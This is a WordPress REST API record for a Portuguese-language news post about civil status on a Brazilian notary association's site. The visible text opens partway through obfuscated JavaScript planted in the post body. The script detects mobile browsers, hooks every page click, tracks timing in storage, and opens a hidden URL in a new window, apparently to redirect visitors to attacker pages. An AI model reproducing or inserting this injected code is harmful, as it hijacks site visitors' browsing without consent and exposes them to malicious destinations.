_0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; QUAL &Eacute; O SEU ESTADO CIVIL? Essa &eacute; uma pergunta simples e deveria ter uma resposta simples tamb&eacute;m. Mas, na pr&aacute;tica, n&atilde;o &eacute; o que sempre acontece. Muitas pessoas respondem tal questionamento de maneira errada. Umas, por desconhecimento; outras, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1764","post","type-post","status-publish","format-standard","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/1764","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=1764"}],"version-history":[{"count":0,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/1764\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=1764"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=1764"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=1764"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}